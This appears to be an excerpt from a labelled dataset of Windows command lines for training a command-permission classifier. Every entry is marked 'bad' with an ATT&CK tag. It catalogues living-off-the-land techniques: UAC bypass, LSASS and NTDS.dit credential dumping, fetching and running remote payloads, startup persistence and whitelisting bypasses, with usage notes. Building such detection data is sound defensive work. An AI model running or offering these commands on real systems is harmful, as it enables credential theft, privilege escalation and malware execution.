cowWhySo/permission-command-corpus huggingface dataset:
Command: csc -target:library {PATH:.cs}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: Csc.exe
Notes: Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to a DLL file with the same name.
Command: ComputerDefaults.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1548.002
Source rule: ComputerDefaults.exe
Notes: Upon execution, ComputerDefaults.exe checks two registry values at HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command; if these are set by an attacker, the set command will be executed as a high-integrity process without a UAC prompt being displayed to the user. See 'resources' for which registry keys/values to set.
Command: wab.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: DLL
Source rule: Wab.exe
Notes: Change HKLM\Software\Microsoft\WAB\DLLPath and execute DLL of choice
Command: pcalua.exe -a {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Pcalua.exe
Notes: Open the target .EXE using the Program Compatibility Assistant.
Command: pcalua.exe -a {PATH_SMB:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1202, Execute: DLL, Execute: Remote
Source rule: Pcalua.exe
Notes: Open the target .DLL file with the Program Compatibilty Assistant.
Command: pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: DLL
Source rule: Pcalua.exe
Notes: Open the target .CPL file with the Program Compatibility Assistant.
Command: diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
ATT&CK tags: T1564.004, Type: Compression
Source rule: Diantz.exe
Notes: Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
Command: diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1105, Type: Compression
Source rule: Diantz.exe
Notes: Download and compress a remote file and store it in a CAB file on local machine.
Command: diantz /f {PATH:.ddf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1036, Type: Compression
Source rule: Diantz.exe
Notes: Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
Command: Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: Microsoft.NodejsTools.PressAnyKey.exe
Notes: Launch specified executable as a subprocess of Microsoft.NodejsTools.PressAnyKey.exe.
Command: sqldumper.exe 464 0 0x0110
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows
ATT&CK tags: T1003
Source rule: Sqldumper.exe
Notes: Dump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp).
Command: sqldumper.exe 540 0 0x01100:40
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows
ATT&CK tags: T1003.001
Source rule: Sqldumper.exe
Notes: 0x01100:40 flag will create a Mimikatz compatible dump file.
Command: Remote.exe /s {PATH:.exe} anythinghere
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: Remote.exe
Notes: Spawns specified executable as a child process of remote.exe
Command: Remote.exe /s {PATH_SMB:.exe} anythinghere
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE, Execute: Remote
Source rule: Remote.exe
Notes: Run a remote file
Command: dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server 2012, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1003.003
Source rule: dsdbutil.exe
Notes: dsdbutil supports VSS snapshot creation
Command: dsdbutil.exe "activate instance ntds" "snapshot" "mount {GUID}" "quit" "quit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server 2012, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1003.003
Source rule: dsdbutil.exe
Notes: Mounting the snapshot with its GUID
Command: dsdbutil.exe "activate instance ntds" "snapshot" "delete {GUID}" "quit" "quit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server 2012, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1003.003
Source rule: dsdbutil.exe
Notes: Deletes the mount of the snapshot
Command: dsdbutil.exe "activate instance ntds" "snapshot" "create" "list all" "mount 1" "quit" "quit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server 2012, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1003.003
Source rule: dsdbutil.exe
Notes: Mounting with snapshot identifier
Command: dsdbutil.exe "activate instance ntds" "snapshot" "list all" "delete 1" "quit" "quit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server 2012, Windows Server 2016, Windows Server 2019
ATT&CK tags: T1003.003
Source rule: dsdbutil.exe
Notes: Deletes the mount of the snapshot
Command: pixtool.exe launch {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: Pixtool.exe
Notes: Launches an executable via PIX command-line utility.
Command: windbg.exe -g {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: WinDbg.exe
Notes: Launches a command line through the debugging process; optionally add `-G` to exit the debugger automatically.
Command: Update.exe --download {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218
Source rule: Update.exe
Notes: The above binary will go to url and look for RELEASES file and download the nuget package.
Command: Update.exe --update={REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: Nuget, Execute: Remote
Source rule: Update.exe
Notes: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Command: Update.exe --update={PATH_SMB:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: Nuget, Execute: Remote
Source rule: Update.exe
Notes: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Command: Update.exe --updateRollback={REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: Nuget, Execute: Remote
Source rule: Update.exe
Notes: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Command: Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: CMD, Execute: Remote
Source rule: Update.exe
Notes: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Command: Update.exe --updateRollback={PATH_SMB:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: Nuget, Execute: Remote
Source rule: Update.exe
Notes: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Command: Update.exe --createShortcut={PATH:.exe} -l=Startup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1547, Execute: EXE
Source rule: Update.exe
Notes: Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.
Command: Update.exe --removeShortcut={PATH:.exe}-l=Startup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1070, Execute: EXE
Source rule: Update.exe
Notes: Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.
Command: xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -callBack {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1202, Execute: EXE
Source rule: XBootMgr.exe
Notes: Executes an executable after the trace is complete using the callBack parameter.
Command: xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -preTraceCmd {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1202, Execute: EXE
Source rule: XBootMgr.exe
Notes: Executes an executable before each trace run using the preTraceCmd parameter.
Command: VSLaunchBrowser.exe .exe {REMOTEURL:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: VSLaunchBrowser.exe
Notes: Download and execute payload from remote server
Command: VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: VSLaunchBrowser.exe
Notes: Execute payload via VSLaunchBrowser as parent process
Command: VSLaunchBrowser.exe .exe {PATH_SMB}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE, Execute: Remote
Source rule: VSLaunchBrowser.exe
Notes: Execute payload from WebDAV server via VSLaunchBrowser as parent process
Command: MsoHtmEd.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: MsoHtmEd.exe
Notes: Downloads payload from remote server
Command: IntelliTrace.exe launch /cp:"collectionplan.xml" /f:"c:\users\public\log" "C:\Windows\System32\calc.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: IntelliTrace.exe
Notes: Launches an executable via Visual Studio command line utility.
Command: MSAccess.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: MSAccess.exe
Notes: Downloads payload from remote server
Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server
ATT&CK tags: T1218, Execute: CMD
Source rule: Msdeploy.exe
Notes: Launch .bat file via msdeploy.exe.
Command: msdeploy.exe -verb:sync -source:filePath={PATH_ABSOLUTE:.source.ext} -dest:filePath={PATH_ABSOLUTE:.dest.ext}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server
ATT&CK tags: T1105
Source rule: Msdeploy.exe
Notes: Copy file from source to destination.
Command: VSIISExeLauncher.exe -p {PATH:.exe} -a "{CMD:args}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 and up with VS/VScode installed
ATT&CK tags: T1218, Execute: EXE
Source rule: VSIISExeLauncher.exe
Notes: The above binary will execute other binary.
Command: devtunnel.exe host -p 8080
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11, MacOS
ATT&CK tags: T1105
Source rule: devtunnel.exe
Notes: Enabling a forwarded port for locally hosted service at port 8080 to be exposed on the internet.
Command: VisualUiaVerifyNative.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 2004 (likely previous and newer versions as well)
ATT&CK tags: T1218, Execute: .NetObjects
Source rule: VisualUiaVerifyNative.exe
Notes: Generate Serialized gadget and save to - `C:\Users\%USERNAME%\AppData\Roaminguiverify.config` before executing.
Command: createdump.exe -n -f {PATH:.dmp} {PID}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows 10, Windows 11
ATT&CK tags: T1003
Source rule: Createdump.exe
Notes: Dump process by PID and create a minidump file. If "-f dump.dmp" is not specified, the file is created as '%TEMP%\dump.%p.dmp' where %p is the PID of the target process.
Command: msxsl.exe {PATH:.xml} {PATH:.xsl}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1220, Execute: XSL
Source rule: msxsl.exe
Notes: Run COM Scriptlet code within the script.xsl file (local).
Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1220, Execute: XSL, Execute: Remote
Source rule: msxsl.exe
Notes: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows
ATT&CK tags: T1220, Execute: XSL, Execute: Remote
Source rule: msxsl.exe
Notes: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105
Source rule: msxsl.exe
Notes: Using remote XML and XSL files, save the transformed XML file to disk.
Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows
ATT&CK tags: T1564
Source rule: msxsl.exe
Notes: Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).
Command: AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1218, Execute: PowerShell
Source rule: AgentExecutor.exe
Notes: Spawns powershell.exe and executes a provided powershell script with ExecutionPolicy Bypass argument
Command: AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "{PATH_ABSOLUTE:folder}" 0 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1218, Execute: EXE
Source rule: AgentExecutor.exe
Notes: If we place a binary named powershell.exe in the specified folder path, agentexecutor.exe will execute it successfully
Command: Vsjitdebugger.exe {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: vsjitdebugger.exe
Notes: Executes specified executable as a subprocess of Vsjitdebugger.exe.
Command: DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows 10, Windows 11
ATT&CK tags: T1003.001
Source rule: DumpMinitool.exe
Notes: Creates a memory dump of the lsass process
Command: rcsi.exe {PATH:.csx}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CSharp
Source rule: rcsi.exe
Notes: Use embedded C# within the csx script to execute the code.
Command: Excel.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: Excel.exe
Notes: Downloads payload from remote server
Command: ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows
ATT&CK tags: T1003.003
Source rule: ntdsutil.exe
Notes: Dump NTDS.dit into folder
Command: bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -c
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105
Source rule: Bcp.exe
Notes: Export binary payload stored in SQL Server database to file system.
Command: xbootmgrsleep.exe 1000 {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1202, Execute: EXE
Source rule: XBootMgrSleep.exe
Notes: Execute executable via XBootMgrSleep, with a 1 second (=1000 milliseconds) delay. Alternatively, it is also possible to replace the delay with any string for immediate execution.
Command: AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: DLL (.NET)
Source rule: AccCheckConsole.exe
Notes: Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.
Command: logger.exe RUN "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1202, Execute: CMD
Source rule: Logger.exe
Notes: Executes the command specified after the `RUN` parameter as a child of `logger.exe`.
Command: logger.exe RUNW "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1202, Execute: CMD
Source rule: Logger.exe
Notes: Executes the command specified after the `RUNW` parameter as a child of `logger.exe`.
Command: logger.exe "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1202, Execute: CMD
Source rule: Logger.exe
Notes: Executes the command specified as a child of `logger.exe`.
Command: WFMFormat.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1127, Execute: EXE, Requires: .NET Framework 3.5
Source rule: WFMFormat.exe
Notes: Executes the file `tracerpt.exe` in the same folder as `WFMFormat.exe`. If the file `dumpfile.txt` (any content) exists in the current working directory, no arguments are required. Note that `WFMFormat.exe` requires .NET Framework 3.5.
Command: dnx.exe {PATH_ABSOLUTE:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CSharp
Source rule: dnx.exe
Notes: Execute C# code located in the specified folder via 'Program.cs' and 'Project.json' (Note - Requires dependencies)
Command: dump64.exe {PID} out.dmp
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows 10, Windows 11
ATT&CK tags: T1003.001
Source rule: Dump64.exe
Notes: Creates a memory dump of the LSASS process.
Command: adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: All Windows
ATT&CK tags: T1003.001
Source rule: adplus.exe
Notes: Creates a memory dump of the lsass process
Command: adplus.exe -c {PATH:.xml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: All Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: adplus.exe
Notes: Execute arbitrary commands using adplus config file (see Resources section for a sample file).
Command: adplus.exe -crash -o "{PATH_ABSOLUTE:folder}" -sc {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: All windows
ATT&CK tags: T1127, Execute: CMD, Execute: EXE
Source rule: adplus.exe
Notes: Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.
Command: devinit.exe run -t msi-install -i {REMOTEURL:.msi}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.007, Execute: MSI, Execute: Remote
Source rule: Devinit.exe
Notes: Downloads an MSI file to C:\Windows\Installer and then installs it.
Command: Mftrace.exe {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: Mftrace.exe
Notes: Launch specified executable as a subprocess of Mftrace.exe.
Command: nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Reconnaissance
Platform: Windows
ATT&CK tags: T1040
Source rule: Nmcap.exe
Notes: Start capture on all network adapters and save to specified .cap (circular) file.
Optionally, one can add:
- `/TerminateWhen /TimeAfter 30 seconds` to auto-terminate after a relative times (e.g. 30 seconds);
- `/TerminateWhen /Time 04:52:00 AM 9/17/2025` to auto-terminate after a specific date/time;
- `/TerminateWhen /KeyPress x` to terminate when a specific key is pressed.
Command: devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} "{CMD:args}" test
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: Devtoolslauncher.exe
Notes: The above binary will execute other binary.
Command: devtoolslauncher.exe LaunchForDebug {PATH_ABSOLUTE:.exe} "{CMD:args}" test
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: Devtoolslauncher.exe
Notes: The above binary will execute other binary.
Command: csi.exe {PATH:.cs}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CSharp
Source rule: csi.exe
Notes: Use csi.exe to run unsigned C# code.